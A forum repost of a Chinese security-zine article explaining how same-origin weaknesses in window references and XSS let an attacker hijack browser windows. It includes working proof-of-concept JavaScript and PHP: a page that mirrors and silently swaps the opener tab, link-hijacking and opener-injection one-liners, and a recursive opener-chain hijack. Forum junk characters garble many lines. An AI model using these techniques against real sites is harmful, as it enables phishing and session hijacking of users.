中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==
5 H7 \% q& m) n; E$ A
  o) N. n  K6 e" c" y6 G$ \0 b                       Issue 0x03, Phile #0x05 of 0x07
$ R7 X7 ~5 c- Z, E6 F" h" V4 s
! x8 M( S. e( q# C" j8 f/ e) C) \8 p* m" J" C+ h" B* Y
|=---------------------------------------------------------------------------=|
, L+ O1 e2 W0 T/ T! M4 L. d|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
( w+ s! c8 K& q6 }: e|=---------------------------------------------------------------------------=|4 A5 m; Y# U3 f
|=---------------------------------------------------------------------------=|
: a7 V- K' o8 \|=------------------------=[      By rayh4c     ]=---------------------------=|% `# u2 M4 ^( f' H6 R, q0 K
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|! L, S) }9 l; A
|=---------------------------------------------------------------------------=|
$ i$ [4 J- Q  q3 I" W$ U( [
4 n+ W, ?  ]( ]# i& ?
: \: \* i( A& l% A& \% g[目录]% q6 y0 s9 N8 Y6 P- _5 f) {
3 z4 j' S* I+ a# c
1. 前言
$ l+ k* [3 H' [2. 同源策略简叙8 L& y9 D1 E- C6 s1 E! {8 z6 L
3. 理解window对象的同源策略
4 l  a3 i* g) B3 _) k4. 窗口引用功能中的同源策略漏洞* C/ {$ H8 |: c/ v$ s
  4.1 父窗口引用子窗口的同源策略问题
4 F/ R& p$ r8 ?  4.2 子窗口引用父窗口的同源策略问题
2 L: S7 f2 w' g% U7 m  ]  q5. 利用窗口引用漏洞劫持浏览器; d& ?; N7 b- P' i" g' W, u8 O
6. 利用XSS漏洞劫持浏览器$ ^- i2 u% b& ^& c4 f0 p# ^
  6.1 正向跨窗口劫持
  t# Y8 ~7 o: Q7 x" w% M5 T  6.2 反向跨窗口劫持$ i+ g1 m5 r. m. e* ]/ T! `
  6.3 极度危险的跨框架窗口引用劫持
4 y: G5 H, H3 e0 I2 A  6.4 极度危险的正反向跨窗口递归劫持1 |- ^6 `0 c+ o  s  V7 S
  6.5 完全控制浏览器
; d$ J1 }. x9 d% a% S9 ^: \, P) C* v7. 后记
) u0 O4 L  O" N: N" I1 }3 t8. 参考( o" N% _" Q! R+ d; l% a- a
) Z% a  C5 {) c' m! _4 Z7 ^

" ?1 D7 }- p( f( {一、前言
% K$ {1 R: ~# c0 h4 @2 x/ O1 y+ R( w/ j8 M2 K8 @
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
8 v0 P, w9 r* C! m+ [) d2 H/ I友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
! l" D) _$ i4 }劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被$ e( c9 F" ]8 o+ U- {% x
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。/ D! K" x" Q) R! B$ G0 w" G

' S3 u) [7 i; R7 C. I+ G/ K- u. x, O/ I, G
二、同源策略简叙
- f  }& H! k7 \$ l/ `
* V' ~2 H1 U  g8 g$ G2 Z4 O0 b    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以( `; x& M* Y7 c
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
5 k2 O) l* d! E6 Y6 W曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
8 Q  I, j7 Y6 d; f) f  m马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个4 O0 U) _- F# H% p2 N6 S
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
& `& m, }" c+ X8 {2 H1 P2 G
! Q/ @4 P8 A( N3 s$ o
3 n, D- A7 J" Z2 q7 T( [" o三、理解window对象的同源策略# n# z) r1 \* L# \- \# N: y6 Q* M8 ]
8 g) W+ D, B# p* e1 Y* y" V# G
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
5 @& t  N, m+ ?" J/ I0 T象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
9 `+ v% m/ x3 A8 N& }9 S; d* r! F' o4 I- X
--code-------------------------------------------------------------------------
- p" P4 d6 k3 I& D# b: o<script language="javascript">$ N( S& g  B# J" Q# C7 Q8 t
for(p in window) document.write(p+"<br>");/ K! b. l# X5 A+ \# F  v9 b
</script>
8 A; l" o$ T- \, i& u7 N-------------------------------------------------------------------------------
0 C# p( p- m- U/ [8 v
% |( [% o! ]8 b: t    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方0 s$ u  R; t( o6 w: i# ~
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,+ f3 N. Z% ~4 k1 F
这些属性和方法就必须遵循同源策略。# M/ N7 u9 i/ @* z+ L- U% _8 ]
; L7 J, H- K2 H6 ]: k* s4 o
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那* A% O7 w- B2 D6 k; |& l+ |+ `0 g
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须* x' i6 {& _$ g1 i
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这; J  f0 _' s& L' L
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的" F, G" t) p, O3 y1 T
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
/ s3 D1 {  ^* |+ p; n0 P2 w属性并没有被拒绝访问。# `4 k/ r/ U% s5 N/ e5 U. b( W

; M' K. b! f7 L" ]3 z! R* P( r--demo.html--------------------------------------------------------------------. c( g8 r6 V3 d4 G. i' \/ ]' f- r
<script language="javascript">   
0 ^- Y  R2 z& b0 h- nfunction allPrpos(obj) {      4 {- W9 e  a( E$ W  ]1 r) t
      var props = "<table><tr><td>名称</td><td>值</td>";           
3 a+ b! j" t5 U/ i      for(var p in obj){         
# ~# X+ E8 l% ]7 y& j- \3 C5 @1 h            if(typeof(obj[p])=="function"){   
* |' \. G3 H( Z% c. R1 p1 q. ]  L) I                   obj[p]();   + W% q- ^' c4 \: `1 o
             }else{                      * T/ W8 w4 \- `3 P) C2 D* r3 q
                  try   " y1 O0 F3 R2 g0 ]
                   {   % t5 O1 f4 U4 k6 w* F4 ?
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
; a* j" D2 g6 F7 R* v                   }   + P/ j, u6 |' ?. N1 {
                  catch (ex)   , T. c0 g5 c" Y1 M" K
                   {   
3 `1 \, p+ g: a9 E* T1 F                   : N  C* t0 f$ N/ A) |% g
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   # r6 c8 ]8 u! `" [' q" M6 j& R: a
                   }   
: f# E. D' W0 B, z                       
: H3 m5 A4 |) E4 i, a! @             }   
1 `  b& V( h, _0 b; F0 [+ H5 A       }   : o/ k* F: k" F* X6 X0 H8 T
   3 A+ v1 @* v! t7 i, f% f
       document.write(props+"</table>");   
% r; V! B3 i) H' S. i: m3 ?}   & }& V' }0 {* Q+ n: A! h' Y5 j
   
% o( G$ ?/ h8 |& v5 P$ Y; \function createWin() {2 x3 g& G, K) r: W+ e
        newWin = window.open ("http://www.google.com");  
: B. R4 e+ g5 U% h! p        setTimeout(function(){allPrpos(newWin)},2000);
  o1 [0 c6 e/ ?* P+ P3 f/ B}
3 O% H% \6 u7 K+ @9 J7 l4 o7 [4 }$ R: S9 S
</script> $ S# n; y% t1 v
4 W& Q! {9 Q: D3 V# ~  R9 ]$ N
<button onclick='createWin()'>创建一个非同源子窗口测试</button>5 S5 }/ t6 t- Y/ C, h& l* z
-------------------------------------------------------------------------------
2 ^( B' V. `+ p6 F
% d9 N1 K$ p. b0 n9 x; m/ C
4 w- u0 S! ^# c$ v* e9 k) O6 M四、窗口引用功能中的同源策略漏洞
' W( V3 r' R- L' v
- ?0 C* p6 Q: f/ S+ z7 Q/ \4.1 父窗口引用子窗口的同源策略问题
1 A% r* N" K! ^8 s+ m$ p5 E, ^# V2 D  W
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,1 R8 m  c3 h1 |  J8 P  V- O6 Z8 m9 ?
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
4 C$ \: x+ r7 h1 `2 X6 E% ]1 a# O浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
4 D2 h, L" c0 k" N8 I  i4 ~' C行测试,会发现父窗口可以控制非同源子窗口location属性值。
6 e, O! y4 e! Y4 @) @
& K! |/ v5 `& O+ k+ M--vul1.html--------------------------------------------------------------------% H" `0 L" h8 \6 T  g$ q
<script language="javascript"> . O: C- `6 t# D8 R# a7 q- k$ v
function createWin() {  7 s4 h2 G8 \4 P
        newWin = window.open ("http://www.google.com");  
0 E/ H% ^5 R8 k. E        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
2 \% D7 i3 r, {. ?! G} # H4 j0 J2 d5 C( K: V" }
</script>6 ~1 T% [/ `/ e3 G- [/ i4 d
; c0 |' H+ \' T& H% Y
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
' ]9 t5 `: a; v-------------------------------------------------------------------------------, n/ X) l: u3 X5 I0 Z
. X6 x. J, M1 P. B' ]
1 Y+ G; o9 N$ c: p% D
4.2 子窗口引用父窗口的同源策略问题, d6 \5 g) i  i
$ I6 a# n3 K! e/ d. N$ o& J" A
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使1 \  Y+ r" A6 W- G2 U8 V
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们) x; A+ |- T/ p' q. E4 M
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
) B. `$ i. B& k3 Z* E9 c8 ]# W会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。4 p0 L5 K! a4 \) Z4 u
7 \8 @2 s4 i3 _/ P
--code-------------------------------------------------------------------------
0 t# `. n. ?' s( c- z0 o
# r% z& Y, m$ C8 k4 jjavascript:window.opener.location = "http://www.80sec.com";void(0);
6 S) r$ a( U* ?$ ]' ?3 g0 j# U/ r+ e' o5 r1 u
-------------------------------------------------------------------------------
2 N# r( D" u" Q7 Z5 }# `+ V3 \' t( g

$ V) d9 i5 [$ x) }五、利用窗口引用漏洞劫持浏览器3 |9 j6 ]' O& x5 S5 _2 ]
2 e! d1 f5 _5 Q& t
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子/ B  M, x! Z& Z( z6 H
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那! r" `; G2 m8 p
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
! \9 m4 H6 W1 k# }9 ^( k: v, K3 G( `; |0 b9 [& ^
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
* A, [" v9 [$ y; |, a生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或/ H  S8 w5 Q0 H: Q& w# f0 z
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
* R* h/ L6 c# y( Z0 ]: y) r+ d1 h; ?后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下' E, Y) C1 Q$ k
会产生什么可怕的后果。  ?$ u* V9 K! E: W1 y$ S! U5 r" E: t4 x

0 u9 b: N/ J3 d6 a; R    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
; _' v8 O" E1 w+ M" [- s# C+ m们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
0 v9 N' ~% j$ O# d6 d" I这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
2 A' X& M& W6 r( g( C候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
  P  j0 [) Y; O2 N以做更多的事情,所有的一切仅仅是因为点击了一个链接。4 I- ~1 g# O4 N# G

- r0 L# t6 J: L--hjk_ref.php------------------------------------------------------------------
: R7 v8 Y- ~+ c: x1 |6 t% Z9 l<?php2 g' C/ J4 w6 g( L1 A) o
if (array_key_exists("HTTP_REFERER", $_SERVER)) {1 C* s! n* z& J% f0 U7 ^
$Url_Mirror = $_SERVER["HTTP_REFERER"];9 l- {% f  p* b1 S
}
) B2 Q4 I: k& Q: n7 X$ c! lif(isset ($_GET['ref'])) {
- [2 b0 [1 X% d$ R" V3 z) [6 S1 v* uecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';0 a7 ^" q! n4 Z6 I
}  @3 m" A9 \, r2 Q2 e5 v7 x* C
?>
+ ]  N# ?$ d( L3 g% q5 a8 M1 _6 y7 M+ i$ |
<script language="javascript">3 s# O: W0 n; W# Y, y
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
3 a" w1 }! T; P' s</script>
# o" a% L5 g! w5 t$ ^& j-------------------------------------------------------------------------------+ @# R8 T" F# j

4 Z3 p# i- ~0 x: B0 B, f4 s    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。8 q$ f( _$ g  k7 ~8 u

: D3 F2 R* H, d. ]
3 i" O' z9 F. W% a六、利用XSS漏洞劫持浏览器
9 g! |; @5 y' Q+ ~0 @, ^
8 V5 S4 f" d. N5 U    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为/ r4 P! |$ O0 ~8 p- u2 d- v7 `$ o' J
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后) d' E8 B5 v$ Z- ^
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起! L" j) z& A3 M- i. l% C" u0 L
讨论跨站师的终极技巧:
7 |1 N- A9 X" x$ i- \# [4 D6 B0 h4 N+ J- b- b/ o) m

% D: s6 M/ {  @: U- b7 M6.1 正向跨窗口劫持" O- @5 O. b, d6 ^) J
4 u8 Q$ l& _. g" J3 c" d1 f2 G# \
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
2 t' U  W% @& l6 D主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链1 u! b  a/ d$ C) D
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
4 B7 P# f) A" E; h# Q5 s& u* S框脚本。 ; P$ ?# o# f6 d, a* O, Y. V

% h" L" M( h% F; \--hijack_open.js---------------------------------------------------------------
) i- g0 A: I& s' `* _5 k% S' {8 e2 D. _# o. a. N% e
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);! E: x7 L/ ?* P- I% P0 E

) w. k" O5 ^9 K-------------------------------------------------------------------------------
- f; ~, x6 Z! K) ~' C8 [$ \; i1 P2 _9 A$ T8 O# }. Q4 X; C
' A, \- T4 y: t1 q6 m
6.2 反向跨窗口劫持' G. J7 X, G9 _. U8 J

6 ~6 }8 ~6 D* J4 O- ]# \( M6 j7 c4 T    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代& ?, Z( V5 }0 q2 y+ t% P5 p- P/ ]( ?. o
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话0 X0 O+ x: f0 ?9 m
框脚本。  Y. G+ k  a& G. j/ _$ @/ y# ?
) C) V( D7 Z9 u/ X( V
--hijack_opener.js-------------------------------------------------------------
; A: R' m& E: w: `2 k* `: x  x1 q9 v& a! k
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);7 b( @# `, H# [, |
, {# Y* e, X1 n/ w
-------------------------------------------------------------------------------) H- f8 @& O. X, k5 [! U6 f
, [4 Y% c) ~/ w) h
" Q9 y' W* q! ?8 M/ }
6.3 极度危险的跨框架窗口引用劫持5 q, i6 \4 Q: S/ p6 j
. A- m7 f; o7 R7 Z' l: }! ~9 ~
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞: g) j$ I' v; ]  m0 @" p7 `% l
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
  w, H; y$ V& f/ g适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个; x! c. T0 N; }' w, T
非持久型的XSS,如下:3 {5 ?' H- B! t5 }4 D
% y- m  X2 O4 e/ ^/ U
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
) {, t; d$ e4 l: R* ]1 Y* U% x, V" x" n" g6 ]
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口% u' a& d) |$ i8 H% N
注入脚本。% ]% d, j0 X8 N: [; Y0 Q
3 l' E" i9 W/ {/ u7 e$ T
--hijack_frame_opener.js-------------------------------------------------------
# _1 [* G- K- b; u/ U0 _8 o" V0 `<script>7 O0 F" ~0 s/ k
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
+ M6 f( U3 ~9 ?( i  w* v& s</script>
, L5 B/ h* ]7 R! I3 t-------------------------------------------------------------------------------
) Z. R, A- s! k9 @3 @3 N  j& I0 i* R: r
5 ~  h% V* g- p" F
6.4 极度危险的正反向跨窗口递归劫持3 R* q7 o9 a" S0 a, ]; d
" w% G" b5 {, m/ `
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
( w* f5 }, y: h的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
9 j; S0 @$ X. ?1 b异常处理规避之间跨域页面的访问异常,代码如下:# [  r( }9 {* h1 s) v$ ?
. x+ M; O. d- Y5 K- u/ c
--code-------------------------------------------------------------------------
6 x! {% E8 O7 e. D1 \% N% B% ~8 j( _0 `" B# |
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);; ?: z: }. Q' {% K( G

& z; t0 E6 }  w/ ^& _4 S-------------------------------------------------------------------------------
& h3 h& M$ T9 ?- ~8 r+ V/ i4 F& F8 I
* g4 v- B9 M% @    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可' Y, a/ M. N: G: Y1 {9 A+ _
以劫持B域之前的A域页面,从而实现“隔空打击”。
6 ]* y& t/ Z/ D4 ~- l
1 R& `$ y$ p* E2 ]# I5 ]) d    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面: T0 \$ M; E' j4 n- Z* Z
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
2 I# X/ K2 y0 v) m6 b1 n
9 u* d: d! i) @) i, I, d    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。$ \  ?8 N7 M% M
! J0 m5 n  q$ Y6 b. H. E4 k

# l6 O5 O* c( E9 Z6.5 完全控制浏览器# a& t; k/ L1 V4 j) l4 B6 e: |
2 ^7 ^# z* ~# y8 |+ E
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则: G4 ?4 {) k& i1 I, P4 N, k% \/ V# Y
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS: z8 d7 n) K6 R: v: M
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
: g# l. e9 A  j5 T而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
" @: l* S6 F, n* |. C+ |列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
6 D1 F+ Q7 v$ {" i$ S: r3 S师的终极目标 - 完全控制浏览器。
7 r! w% `% Z# K; C1 ]# s1 C+ q) n. b! \  \- `) t' ~* e% H

  }% d+ J5 k/ d9 V( `& `七、后记
6 q0 `9 F  t) W5 y. ~7 h) G; r$ p  P/ F1 u& B" L$ U: X% N2 E, @
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全% c( f* x9 P4 e- @! U; _5 a" o
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
; m# e* t- f6 L过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。- l6 h2 C2 }. D* l
9 X- d/ Z' W* L. A$ C

2 F$ a+ j! O, G. v6 `3 R! K八、参考4 M: M& I6 |; |$ B6 z' F: E

" a* G3 [+ U8 X! r: j. g. [1. http://en.wikipedia.org/wiki/Same_origin_policy
* J6 e9 f8 Z  }. ?; @9 c" \! x1 l2. http://code.google.com/p/browser ... licy_for_DOM_access
1 i* Z: N% V8 N4 @2 u1 S, w3 u0 T* B3. http://www.w3.org/TR/Window/1 u" q9 i1 N+ i/ h) ]. i! c
4. http://www.80sec.com/release/browser-hijacking.txt
, P: Q* H: a3 q  I5. http://www.80sec.com/all-browser-security-alert.html1 v* `- S" f! o1 ^! N+ ~9 k
6. http://www.80sec.com/ms08-058-attacks-google.html1 D( ]3 M5 f4 w) ]7 |% |& M0 V

# s3 _2 G0 }+ j/ _/ _-EOF-




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2